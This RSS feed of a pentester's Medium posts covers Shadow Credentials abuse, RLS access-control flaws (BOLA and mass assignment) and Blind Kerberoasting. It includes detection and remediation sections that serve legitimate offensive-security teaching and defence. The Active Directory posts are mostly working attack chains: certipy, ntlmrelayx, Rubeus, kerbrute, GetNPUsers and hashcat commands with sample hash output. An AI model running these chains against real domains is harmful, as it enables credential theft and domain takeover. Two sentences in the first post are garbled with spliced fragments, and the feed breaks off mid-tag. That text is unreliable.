<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Victor Abiodun  on Medium]]></title>
        <description><![CDATA[Stories by Victor Abiodun  on Medium]]></description>
        <link>https://medium.com/@3xploit?source=rss-cfc74b8f6883------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Victor Abiodun  on Medium</title>
            <link>https://medium.com/@3xploit?source=rss-cfc74b8f6883------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:06:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@3xploit/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Shadow Credentials: Abusing msDS-KeyCredentialLink]]></title>
            <link>https://medium.com/@3xploit/shadow-credentials-abusing-msds-keycredentiallink-894d5987ef3b?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/894d5987ef3b</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 02:28:05 GMT</pubDate>
            <atom:updated>2026-11-12T02:28:05.907Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ke0y8aheUKFhzspBflijQ.png" /></figure><p>Shadow Credentials let an attacker with write access over an AD object authenticate as that object without touching its password, by planting a certificate reference in msDS-KeyCredentialLink and requesting a TGT over PKINIT.</p><h3>What Shadow Credentials Are</h3><p>Shadow Credentials is a technique for adding alternative authentication material to a user or computer account in Active Directory, abusing key trust authentication, the mechanism behind Windows Hello for Business (WHfB). Kerberos normally derives pre-authentication from a password. PKINIT is the public-key variant: the client proves possession of a private key instead. Windows supports two flavors of PKINIT. Certificate trust relies on an X.509 certificate issued by a CA. Key trust, used by WHfB, skips the CA entirely and stores a raw public key directly on the account object.</p><p>That raw public key lives in msDS-KeyCredentialLink, a multi-valued attribute introduced in Windows Server 2016. Each value is a serialized KeyCredential structure holding a creation date, the distinguished name of the owning object, a Device ID GUID, and the public key itself. An account can carry several values at once, one per enrolled device. The domain also needs at least one Windows Server 2016 or later DC with a server authentication certificate, since the KDC uses its own certificate for the session key exchange during PKINIT. This is normally already true in any domain running AD CS.</p><p>If you can write to msDS-KeyCredentialLink on a target, you generate your own key pair, build a KeyCredential around the public half, and append it to the attribute, which looks to the DC exactly like a new device enrolling for WHfB. From there you authenticate via PKINIT using the private key and get a TGT. To pull an NT hash out of that TGT, the client requests a User-to-User service ticket addressed to itself, using the TGT as the additional ticket in the request. Because the KDC used PKINIT rather than a password for pre-auth, the PAC in the resulting ticket carries an NTLM_SUPPLEMENTAL_CREDENTIAL structure containing the account’s NT hash, which tools extract automatically. None of this touches or resets the password, which is why the access survives a password change.</p><h3>Finding Targets</h3><p>You need one of the following rights over the target object, since all of them grant write access to msDS-KeyCredentialLink:</p><ul><li>GenericAll</li><li>GenericWrite</li><li>WriteProperty on msDS-KeyCredentialLink specifically.</li><li>Owns the object (and therefore can grant itself WriteDACL, then write the property).</li></ul><p>BloodHound models this as its own edge, AddKeyCredentialLink, rather than folding it into the generi makes it worth checking forc `GenericWrite` or `GenericAll` edges, so query for that edge type directly from any principal you control into a user or computer object. One nuance worth knowing: a user object cannot edit its own msDS-KeyCredentialLink, but a computer object can edit its own, provided no KeyCredential is already set on it.</p><p>That self-edit path is what makes Shadow Credentials a practical outcome of NTLM relay, not just ACL abuse. If you can coerce a computer account into authenticating and relay that authentication to LDAP, you can write a shadow credential to the computer’s own account and walk away with a PKINIT backdoor on it. Impacket’s ntlmrelayx has this built in:</p><pre>impacket-ntlmrelayx -t ldap://dc02.corp.local --shadow-credentials --shadow-target &#39;DC01$&#39;</pre><p>It relays a coerced authentication to dc02 and plants a shadow credential on DC01&#39;s own computer object, which is a realistic way to turn a coercion primitive into persistent domain controller access without ever touching a password.</p><h3>The Attack</h3><p>Certipy’s shadow command handles the full chain in one shot: generating the key pair, writing it to the target’s msDS-KeyCredentialLink, and requesting the TGT over PKINIT.</p><pre>certipy shadow auto -u &#39;svc-web@corp.local&#39; -p &#39;P@ssw0rd2026!&#39; -account &#39;JENKINS01$&#39; -dc-ip 10.129.45.10</pre><p><strong>Sample output:</strong></p><pre>Certipy v4.8.2 - by Oliver Lyak (ly4k)<br><br>[*] Targeting user &#39;JENKINS01$&#39;<br>[*] Generating certificate<br>[*] Certificate generated<br>[*] Generating Key Credential<br>[*] Key Credential generated with DeviceID &#39;a1b2c3d4-e5f6-4a3b-9c2d-1f0e8b7a6c5d&#39;<br>[*] Adding Key Credential with DeviceID &#39;a1b2c3d4-e5f6-4a3b-9c2d-1f0e8b7a6c5d&#39; to the Key Credentials for &#39;JENKINS01$&#39;<br>[*] Successfully added Key Credential with DeviceID &#39;a1b2c3d4-e5f6-4a3b-9c2d-1f0e8b7a6c5d&#39; to the Key Credentials for &#39;JENKINS01$&#39;<br>[*] Authenticating as &#39;JENKINS01$&#39; with the certificate<br>[*] Using principal: jenkins01$@corp.local<br>[*] Trying to get TGT...<br>[*] Got TGT<br>[*] Saved credential cache to &#39;JENKINS01$.ccache&#39;<br>[*] Restoring the old Key Credentials for &#39;JENKINS01$&#39;<br>[*] Successfully restored the old Key Credentials for &#39;JENKINS01$&#39;<br>[*] NT hash for &#39;JENKINS01$&#39;: 8846f7eaee8fb117ad06bdd830b7586c</pre><p>This does four things under the hood:</p><ol><li>Generates an RSA key pair and a self-signed certificate</li><li>Reads the target’s current msDS-KeyCredentialLink value (so it can be restored later if needed)</li><li>Appends a new KeyCredential structure built from the generated certificate</li><li>Requests a TGT via PKINIT using the new key, and extracts the target’s NT hash along the way through the U2U trick</li></ol><p>The output gives you a ccache file for the TGT and, in most cases, the NT hash of the target account, which you can then use directly with Pass-the-Hash or Pass-the-Ticket again makes it worth checking forst anything the target has access to.</p><p>If you are on Windows, the equivalent chain runs through Whisker and Rubeus instead. Whisker’s add function writes the shadow credential and hands back a ready-to-use certificate:</p><pre>Whisker.exe add /target:JENKINS01$</pre><p>Whisker prints a base64 PFX and the Rubeus command to use it. That command requests the TGT, pulls the NT hash with /getcredentials, and injects the ticket into the current logon session:</p><pre>Rubeus.exe asktgt /user:JENKINS01$ /certificate:MIIJ...base64PFX...AA== /password:Whisker123! /domain:corp.local /dc:dc01.corp.local /getcredentials /show /ptt</pre><p>For a computer account, the resulting TGT is also the starting point for S4U2Self to pivot into Domain Admin access on that host, without ever generating a silver ticket from scratch.</p><p>On Linux, pywhisker covers the same add/list/remove/clear operations as Whisker and Certipy’s shadow command, and feeds its output into Rubeus or Impacket’s PKINIT tooling the same way. Certipy’s auto mode is the fastest path for a one-shot engagement because it chains the write, the PKINIT request, and the NT hash extraction in one command; Whisker plus Rubeus or pywhisker is worth reaching for when you want to inspect the KeyCredential or hold the certificate separately before requesting a ticket.</p><p>To clean up and remove the added credential afterward:</p><pre>certipy shadow remove -u &#39;svc-web@corp.local&#39; -p &#39;P@ssw0rd2026!&#39; -account &#39;JENKINS01$&#39; -device-id &#39;a1b2c3d4-e5f6-4a3b-9c2d-1f0e8b7a6c5d&#39; -dc-ip 10.129.45.10</pre><h3>Detection</h3><p>The write to msDS-KeyCredentialLink is a directory service change, and it is logged if the right auditing is on. With Advanced Audit Policy Configuration enabled for Directory Service Changes, a write to this attribute generates Event ID 5136 on the domain controller, with the attribute LDAP display name msDS-KeyCredentialLink and schema GUID 5b47d60f-6090–40b2–9f37–2a4de88f3063 visible in the event data. This is the single most reliable detection point, and it is worth alerting on directly rather than trying to catch the attack at the authentication stage.</p><p>At the authentication stage, PKINIT-based logon generates Event ID 4768 (TGT request) with a certificate-based pre-authentication type, which differs from a normal password-based 4768. This is a weaker signal on its own, since legitimate Windows Hello for Business logons produce the same pattern. Don’t rely on 4768 alone; correlate it with the 5136 write that should have preceded it, and flag any 4768 using certificate pre-auth where no corresponding legitimate device registration exists.</p><p>A practical baseline: most environments do not expect regular writes to msDS-KeyCredentialLink outside of device registration workflows tied to Azure AD Hybrid Join or Windows Hello for Business enrollment. If you can establish what that baseline looks like for the environment, any write outside it is a high-confidence indicator, not just a maybe. Be honest about one thing: in an environment that already uses Windows Hello for Business at scale, this attribute changes often enough that alerting on every write will drown you in noise. The detection has to be scoped to accounts where that enrollment flow is not expected.</p><h3>Persistence Note</h3><p>Shadow Credentials is also a persistence technique, and arguably a better one than most. If you compromise an account, write a shadow credential to it before you lose access, and you retain a way back in even after the account’s password is reset. A password reset does not touch msDS-KeyCredentialLink, so the key trust path keeps working.</p><p>This makes it worth checking for during incident response too, not just during an engagement. If you’re resetting credentials for an account you believe was compromised, check msDS-KeyCredentialLink for unexpected entries and remove them. Resetting the password alone is not sufficient remediation.</p><h3>References</h3><ul><li>Elad Shamir (SpecterOps): Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover: <a href="https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/">https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/</a></li><li>ired.team: Shadow Credentials: <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials</a></li><li>The Hacker Recipes: Shadow Credentials: <a href="https://thehacker.recipes/ad/movement/kerberos/shadow-credentials">https://thehacker.recipes/ad/movement/kerberos/shadow-credentials</a></li><li>HackTricks: Shadow Credentials: <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials</a></li><li>BloodHound Documentation: AddKeyCredentialLink edge: <a href="https://bloodhound.specterops.io/resources/edges/add-key-credential-link">https://bloodhound.specterops.io/resources/edges/add-key-credential-link</a></li><li>Microsoft: [MS-ADA2] msDS-KeyCredentialLink attribute schema: <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/45916e5b-d66f-444e-b1e5-5b0666ed4d66">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/45916e5b-d66f-444e-b1e5-5b0666ed4d66</a></li><li>Black Hills Information Security: Enable Auditing of Changes to msDS-KeyCredentialLink: <a href="https://www.blackhillsinfosec.com/enable-auditing-of-changes-to-msds-keycredentiallink/">https://www.blackhillsinfosec.com/enable-auditing-of-changes-to-msds-keycredentiallink/</a></li><li>Elad Shamir: Whisker (GitHub): <a href="https://github.com/eladshamir/Whisker">https://github.com/eladshamir/Whisker</a></li><li>ShutdownRepo: pywhisker (GitHub): <a href="https://github.com/ShutdownRepo/pywhisker">https://github.com/ShutdownRepo/pywhisker</a></li><li>ly4k: Certipy (GitHub): <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=894d5987ef3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control in Row Level Security Policies: BOLA and Mass Assignment]]></title>
            <link>https://medium.com/@3xploit/broken-access-control-in-row-level-security-policies-bola-and-mass-assignment-a5121efd535d?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5121efd535d</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 13:36:02 GMT</pubDate>
            <atom:updated>2026-09-07T13:36:02.288Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Pc4jkDw2xMt48J6VjY3UA.png" /></figure><p>While working on a recent engagement, I ran into a backend built on a Postgres-backed API layer, the kind where tables get exposed as REST endpoints directly off the schema, and Row Level Security (RLS) policies are the only thing standing between an authenticated user and every other row in the table. No hand-written authorization middleware, no per-route access checks written by a developer. Just policies attached to the database itself.</p><p>I found two separate access control issues on this target: a broken object level authorization (BOLA) bug on read access, and a mass assignment issue on write access. Both came from the same root cause, policies that were written to check authentication but not ownership, or scoped to the wrong fields entirely.</p><h3>RLS as the Only Access Control Layer</h3><p>Most APIs you test have authorization logic written per route. A developer writes if user.id != resource.owner_id: return 403 somewhere in a controller, and that check either exists or it does not. You are auditing application code, even if you cannot see it.</p><p>With an RLS-backed setup, that authorization logic moves into the database itself. The API layer generates REST endpoints automatically from the schema. Every table becomes a GET, POST, PATCH, DELETE set of endpoints without a developer writing a single line of route logic. The only thing gating access to a row, and gating which fields on that row can be written to, is the RLS policy attached to that table.</p><p>This is a fine architecture when policies are written correctly. It breaks down when a developer assumes the platform handles security by default and does not scrutinize each policy the way they would a hand-rolled auth check.</p><h3>Recon Signals</h3><p>Before you can test RLS policies, you need to recognize you are looking at this kind of backend:</p><ul><li>REST endpoints that map cleanly to table names, often under a /rest/v1/ style path</li><li>An API key or anon key present in client-side JS, sent as a header on every request</li><li>Requests that look like direct table queries rather than purpose-built endpoints, with query string filtering syntax that reads like it is talking straight to Postgres</li><li>A JWT whose claims map to a role field like authenticated or anon rather than anything application-specific</li></ul><h3>BOLA via a Missing Ownership Check on SELECT</h3><p>The first issue was a SELECT policy that checked whether a user was authenticated, but not whether they owned the row being requested. The policy effectively read as &quot;allow read access to any row if the requester has a valid session,&quot; rather than &quot;allow read access to a row only if the requester&#39;s ID matches the row&#39;s owner field.&quot;</p><p>Any authenticated user could query the endpoint for that table and page through records belonging to other users. In this case that meant Personally Identifiable Information(PII) tied to employer accounts, readable by any authenticated user regardless of which account they were logged in as.</p><h3>Mass Assignment via an Unrestricted UPDATE Policy</h3><p>The second issue was on the write side. The UPDATE policy on the same table checked that the requester owned the row, which is correct, but did not restrict which columns could be modified in that request. The auto-generated API accepts a JSON body of column names and values, and applies the policy at the row level without field-level restriction.</p><p>That meant a user updating their own profile could include additional fields in the request body that were never exposed in the application’s UI. Fields like role, verification status, or account tier, ones the frontend never rendered a form for and never intended a user to touch directly, were still writable columns on the table, and the policy had no concept of “this column should only ever be set by an admin or an internal process.”</p><p>This is the same class of bug as classic mass assignment in frameworks like Rails or Django, where a model binds request parameters directly to attributes without an explicit allowlist. Here it shows up because RLS policies gate rows, not columns, and there was no separate mechanism restricting which fields a given role could write to.</p><h3>Root Causes</h3><p>I have seen this pattern enough times now to recognize a few recurring causes:</p><p>Write policies get scrutinized less carefully than they should, because a developer confirms a user can update their own row and stops there, without checking whether every column on that row should be writable by that user.</p><p>auth.role() = &#39;authenticated&#39; gets used where auth.uid() = owner_id was needed. These look similar in a policy definition but check very different things. The first confirms a session exists. The second confirms the session belongs to the person who owns the data.</p><p>RLS policies operate at the row level by default, and enforcing column-level restrictions requires extra work, either through database triggers, generated columns, or explicit application-layer validation on top of the auto-generated API. That extra work often does not happen.</p><p>Policies get tested per table, confirming a logged-in user can read and write as expected, without separately verifying that every operation, and every column within that operation, is scoped correctly.</p><h3>Testing Methodology</h3><p>If you are testing an application built this way:</p><ol><li>Enumerate every table exposed as an endpoint, not just the ones obviously tied to the feature you are testing. Client-side bundles and API responses often reference tables you have not directly interacted with in the UI.</li><li>Test each CRUD operation separately per table. Do not assume that because reads are locked down, writes are too, or vice versa.</li><li>Create two test accounts in different ownership contexts and try to access or modify account B’s data using account A’s session.</li><li>On write operations, try including fields in the request body that are not exposed in the UI. Pull the full column list from any schema information you can find, client-side type definitions, error messages, or API documentation, and test each one.</li><li>Check unauthenticated access too. Some tables have policies scoped to the anon role that are more permissive than intended.</li><li>Look at relationships and joins, not just individual tables. A tightly scoped table can still leak data through a related table or a view that was not audited with the same care.</li></ol><h3>Impact and Remediation</h3><p>The BOLA issue exposed cross-tenant PII at scale, since a single missing ownership check affects every row in a table rather than one feature. The mass assignment issue was more severe in potential, since writable fields like role or account tier could have allowed privilege escalation if an attacker identified the right column names.</p><p>Fixing both required rewriting the SELECT policy to check auth.uid() = owner_id instead of just authentication status, and adding column-level restrictions on the UPDATE policy, either through a database-level check constraint on sensitive columns or by moving privileged field updates behind a separate, properly authorized endpoint rather than the auto-generated one.</p><p>RLS-driven backends move authorization out of application code and into database policy, and that changes where these bugs hide. Both of the issues here are well-known vulnerability classes, BOLA and mass assignment, just showing up in a place testers may not be used to looking. If you are testing an app with /rest/v1/ style endpoints or an anon key in a JS bundle, test every table&#39;s policy per operation and per column, not just per table.</p><p>Happy Reading !!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5121efd535d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind Kerberoasting]]></title>
            <link>https://medium.com/@3xploit/blind-kerberoasting-a3c49becd96a?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3c49becd96a</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 03:57:26 GMT</pubDate>
            <atom:updated>2026-07-28T03:57:26.197Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mtUkc1MC_g2rXXyXcJcBzQ.png" /></figure><p>Blind kerberoasting is a technique that lets you request and receive crackable service tickets without ever authenticating to the domain, without valid credentials of any kind, and without querying LDAP at all. It abuses a specific combination of two Kerberos behaviors that, when they overlap, create a path straight to offline credential cracking from a completely unauthenticated position.</p><h3>What Kerberos Pre-Authentication Is and Why Its Absence Matters</h3><p>When a user authenticates to Active Directory using Kerberos, the first message they send is an AS-REQ,<strong> </strong>an Authentication Service Request sent to the Domain Controller on port 88. By default, this request must include a pre-authentication field: a timestamp encrypted with a key derived from the user’s password. The KDC decrypts this field, verifies the timestamp, and only then responds with a TGT.</p><p>The purpose of pre-authentication is to prevent offline cracking. Without it, an attacker could send an AS-REQ for any username and the KDC would respond with an AS-REP containing data encrypted with that user’s password hash, something the attacker could then take offline and crack without ever needing to authenticate. Pre-authentication closes that door by requiring the requester to prove knowledge of the password before getting anything back.</p><p>The DONT_REQ_PREAUTH flag in a user account&#39;s userAccountControl attribute disables this protection for that specific account. When it&#39;s set, the KDC will respond to an AS-REQ for that username with a full AS-REP, no password proof required. This is the basis of AS-REP Roasting.</p><p>Blind Kerberoasting is built on top of this exact behavior, but it goes further. Research showed that service tickets can be requested using only a username rather than an actual SPN. Combining this with the no-preauth behavior, if you know of any account with DONT_REQ_PREAUTH set, you can use it as a proxy to request service tickets for other accounts, without authenticating as that account, without knowing its password, and without LDAP access to enumerate anything. If any account is configured to not require pre-authentication, it is possible to Kerberoast without any credentials. Because access to a valid account has not yet been achieved, LDAP cannot be queried. Instead, a list of potential service accounts is required.</p><p>The DC processes the AS-REQ, sees the no-preauth account, and returns a service ticket encrypted with the target service account’s password hash. You never authenticated. You never even had a valid password. But you now have a crackable hash.</p><h3>The Attack Flow</h3><p>The attack has three distinct phases: getting a username list, identifying a no-preauth account, and using that account to request service tickets for target SPNs.</p><h4>Phase 1: Building a Username List Without LDAP</h4><p>Since LDAP is unavailable without credentials, username enumeration has to come from somewhere else. There are several routes;</p><p><strong>Kerbrute username enumeration:</strong> abuses the same KDC error response behavior that makes blind Kerberoasting possible. The KDC returns different error codes depending on whether a username exists or not. An invalid username gets KDC_ERR_C_PRINCIPAL_UNKNOWN. A valid username with pre-authentication required gets KDC_ERR_PREAUTH_REQUIRED. A valid username without pre-authentication gets a full AS-REP. Kerbrute sends AS-REQs for each username in a wordlist and classifies the responses accordingly.</p><pre># Enumerate valid usernames using Kerbrute — no credentials needed<br><br>kerbrute userenum \<br>  --dc dc01.corp.local \<br>  --domain corp.local \<br>  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \<br>  -o valid_users.txt<br><br># Sample output:<br># [+] VALID USERNAME: jsmith@corp.local<br># [+] VALID USERNAME: svc_mssql@corp.local<br># [+] VALID USERNAME: svc_backup@corp.local<br># [!] svc_web@corp.local - Not required pre-authentication!  &lt;-- AS-REP roastable</pre><p><strong>OSINT and LinkedIn scraping</strong> is effective in corporate environments where employee names follow predictable naming conventions. Tools like linkedin2username generate username wordlists based on common AD naming formats from a company&#39;s LinkedIn employee data.</p><pre># Generate username wordlist from LinkedIn data<br>python3 linkedin2username.py -c &quot;Target Corp&quot; -n 1000 -o linkedin_users.txt<br><br># Then validate with Kerbrute<br>kerbrute userenum \<br>  --dc dc01.corp.local \<br>  --domain corp.local \<br>  linkedin_users.txt</pre><p><strong>Null session enumeration</strong> on older or misconfigured DCs can return user lists via RPC without authentication:</p><pre># Attempt null session RPC enumeration<br>impacket-rpcclient -U &#39;&#39; -N dc01.corp.local -c enumdomusers<br><br># NetExec null session check<br>netexec smb dc01.corp.local -u &#39;&#39; -p &#39;&#39; --users</pre><p><strong>Username generation from known naming conventions.</strong> If you know the company name and that they follow a standard naming scheme like firstname.lastname or flastname, tools like namemash.py or Username Anarchy can generate a targeted wordlist:</p><pre># Generate username variations from a list of full names<br>python3 namemash.py names.txt &gt; generated_usernames.txt<br><br># Or Username Anarchy<br>username-anarchy --input-file names.txt --select-format first.last &gt; usernames.txt</pre><h4>Phase 2: Identifying No-Preauth Accounts</h4><p>Once you have a validated username list, the next step is finding which accounts have DONT_REQ_PREAUTH set. Kerbrute already flags these during enumeration with the Not required pre-authentication marker. But you can also do a targeted sweep:</p><pre># Impacket GetNPUsers — spray your username list looking for no-preauth accounts<br>impacket-GetNPUsers \<br>  corp.local/ \<br>  -usersfile valid_users.txt \<br>  -dc-ip 10.10.10.10 \<br>  -no-pass \<br>  -format hashcat \<br>  -outputfile asrep_hashes.txt<br><br># Sample output:<br># [-] jsmith@corp.local doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br># [+] svc_web@corp.local - AS-REP hash: $krb5asrep$23$svc_web@corp.local:...</pre><p>The svc_web account just handed you a crackable AS-REP hash AND now serves as your blind Kerberoasting vehicle. You don&#39;t need to crack this hash right now, the account&#39;s username alone is what you need for the next phase.</p><h4>Phase 3: Blind Kerberoasting Using the No-Preauth Account</h4><p>With a no-preauth username in hand and a list of potential service account names to target, you now execute the blind Kerberoast. The no-preauth account is used as an authentication proxy. The DC accepts the AS-REQ from it without requiring a password, and you embed a service account’s SPN or username in the request to get back a service ticket encrypted with that service account’s hash.</p><p>From Linux with Impacket:</p><pre># Blind Kerberoast using the no-preauth account as proxy<br># -no-preauth specifies the no-preauth account<br># -usersfile specifies target service accounts to roast<br>impacket-GetUserSPNs \<br>  corp.local/ \<br>  -no-preauth svc_web \<br>  -usersfile service_accounts.txt \<br>  -dc-host dc01.corp.local \<br>  -outputfile blind_roast_hashes.txt<br><br># Sample output:<br># ServicePrincipalName             Name        MemberOf  PasswordLastSet<br># MSSQLSvc/sql01.corp.local:1433   svc_mssql             2022-03-15<br># $krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$...</pre><p>From Windows with Rubeus:</p><pre>#Blind Kerberoast using a no-preauth account<br>#/nopreauth specifies the account with DONT_REQ_PREAUTH<br>#/spn specifies the target SPN to roast<br>Rubeus.exe kerberoast ^<br>  /nopreauth:svc_web ^<br>  /spn:MSSQLSvc/sql01.corp.local:1433 ^<br>  /domain:corp.local ^<br>  /dc:dc01.corp.local ^<br>  /nowrap ^<br>  /outfile:blind_hashes.txt<br><br><br>#Roast multiple targets at once using a file<br>Rubeus.exe kerberoast ^<br>  /nopreauth:svc_web ^<br>  /spns:target_spns.txt ^<br>  /domain:corp.local ^<br>  /dc:dc01.corp.local ^<br>  /nowrap</pre><p>NetExec also supports combining no-preauth and Kerberoasting in a single command:</p><pre>nxc ldap dc01.corp.local \<br>  -u &#39;&#39; -p &#39;&#39; \<br>  --no-preauth-targets svc_web \<br>  --kerberoasting blind_hashes.txt</pre><h4>Username-Based Ticket Requests: Roasting Without SPNs</h4><p>A further dimension of this attack is that service tickets can be requested using just a username rather than a full ServicePrincipalName/host:port format. The KDC will construct and return a ticket if the username maps to an account with an SPN, without you needing to know what that SPN actually is.</p><p>This matters in blind Kerberoasting because when you can’t query LDAP, you don’t know which usernames have SPNs registered. You only have a list of usernames. Instead of needing to know MSSQLSvc/sql01.corp.local:1433 to Kerberoast the svc_mssql account, you can just specify svc_mssql as the target username and let the KDC figure out the SPN side of it.</p><pre># Target by username instead of SPN<br># The KDC resolves the SPN internally<br>impacket-GetUserSPNs \<br>  corp.local/ \<br>  -no-preauth svc_web \<br>  -usersfile all_valid_users.txt \<br>  -dc-host dc01.corp.local<br><br># Rubeus equivalent — username instead of SPN<br>Rubeus.exe kerberoast ^<br>  /nopreauth:svc_web ^<br>  /spn:svc_mssql ^<br>  /domain:corp.local ^<br>  /dc:dc01.corp.local ^<br>  /nowrap</pre><p>The response will include a hash for any username in your list that has an SPN registered. The result is a complete Kerberoast of all service accounts in the domain, executed from a completely unauthenticated position, using only a list of usernames.</p><h3>Cracking the Hashes</h3><p>Once you have service ticket hashes, the cracking process is identical to standard Kerberoasting. The hash type depends on the encryption negotiated.</p><p>RC4-encrypted tickets (mode 13100) are the most common and fastest to crack. AES128 tickets use mode 19600 and AES256 uses mode 19700. RC4 cracking on a modern GPU can exceed hundreds of millions of hashes per second, meaning weak passwords fall in seconds.</p><pre># RC4 tickets — the most common and fastest to crack<br>hashcat -m 13100 blind_hashes.txt /usr/share/wordlists/rockyou.txt \<br>  -r /usr/share/hashcat/rules/best64.rule \<br>  --force<br><br># AES128 tickets<br>hashcat -m 19600 blind_hashes.txt /usr/share/wordlists/rockyou.txt \<br>  -r /usr/share/hashcat/rules/best64.rule<br><br># AES256 tickets<br>hashcat -m 19700 blind_hashes.txt /usr/share/wordlists/rockyou.txt \<br>  -r /usr/share/hashcat/rules/best64.rule<br><br># John the Ripper alternative<br>john --wordlist=/usr/share/wordlists/rockyou.txt blind_hashes.txt</pre><p>For service accounts, targeted wordlists built around the organization’s naming conventions are far more effective than generic wordlists:</p><pre># Build a targeted wordlist using company-specific patterns<br># Common service account password patterns:<br># ServiceName + Year, Company + Service + Number, Season + Year + !<br><br>hashcat -m 13100 blind_hashes.txt company_wordlist.txt \<br>  -r /usr/share/hashcat/rules/toggles5.rule \<br>  -r /usr/share/hashcat/rules/best64.rule<br><br># Mask attack for patterns like Corp2024! or Service#2023<br>hashcat -m 13100 blind_hashes.txt \<br>  -a 3 &quot;Corp?d?d?d?d!&quot; \<br>  --increment</pre><h3>Detection</h3><p>The detection challenge with blind Kerberoasting is that the individual Kerberos operations it uses are all individually legitimate. AS-REQs without pre-authentication are normal for accounts with DONT_REQ_PREAUTH set. Service ticket requests are normal for any authenticated context. The malicious signal is in the combination and the context.</p><p><strong>Event ID 4768 (AS-REQ / TGT Request)</strong> with result code 0x0 (success) and no pre-authentication data is the no-preauth event. Alert on this for any account that shouldn&#39;t have DONT_REQ_PREAUTH set, and specifically alert on unusual sources, workstations or external IPs requesting AS-REPs for service accounts.</p><p><strong>Event ID 4769 (TGS-REQ / Service Ticket Request)</strong> is what standard Kerberoasting generates. For blind Kerberoasting specifically, the requesting account will be the no-preauth proxy account, not a normal authenticated user. Alert on patterns where a single account requests service tickets for many different service accounts in a short time window, this is the bulk Kerberoast pattern. Filter out known automated systems and focus on:</p><pre>Event ID: 4769<br>EncryptionType: 0x17  (RC4 — anomalous on modern AES environments)<br>ServiceName: not ending in $  (exclude computer accounts)<br>AccountName: not ending in $  (exclude machine accounts)<br>FailureCode: 0x0  (only successful requests)</pre><p><strong>Canary service accounts</strong> are one of the most effective blind Kerberoasting detections available. Create a fake service account with an SPN, a plausible name like svc_legacy_backup, a very strong password that will never crack, and configure alerting for any service ticket request against it. Any request to Kerberoast this account is guaranteed to be malicious because no legitimate service uses it.</p><p><strong>Audit </strong><strong>DONT_REQ_PREAUTH accounts regularly.</strong> Every account with this flag is a potential blind Kerberoasting proxy. In most environments, no account should have this flag set. Enumerate them:</p><pre># Find all accounts with DONT_REQ_PREAUTH set<br>Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `<br>  -Properties DoesNotRequirePreAuth, PasswordLastSet, MemberOf |<br>  Select-Object SamAccountName, PasswordLastSet, MemberOf</pre><pre># From Linux<br>impacket-GetNPUsers corp.local/jsmith:&#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -request \<br>  -format hashcat</pre><p>Any account that appears in that output and doesn’t have a documented, current business reason for the flag should have pre-authentication re-enabled immediately.</p><h3><strong>References</strong></h3><ul><li>Semperis — New Attack Paths: AS Requested Service Tickets: <a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">https://www.semperis.com/blog/new-attack-paths-as-requested-sts/</a></li><li>PT SWARM — Kerberoasting Without SPNs: <a href="https://swarm.ptsecurity.com/kerberoasting-without-spns/">https://swarm.ptsecurity.com/kerberoasting-without-spns/</a></li><li>HackTricks — Kerberoast: <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/kerberoast.html">https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/kerberoast.html</a></li><li>Rubeus PR 139 — nopreauth implementation: <a href="https://github.com/GhostPack/Rubeus/pull/139">https://github.com/GhostPack/Rubeus/pull/139</a></li><li>Impacket GetUserSPNs: <a 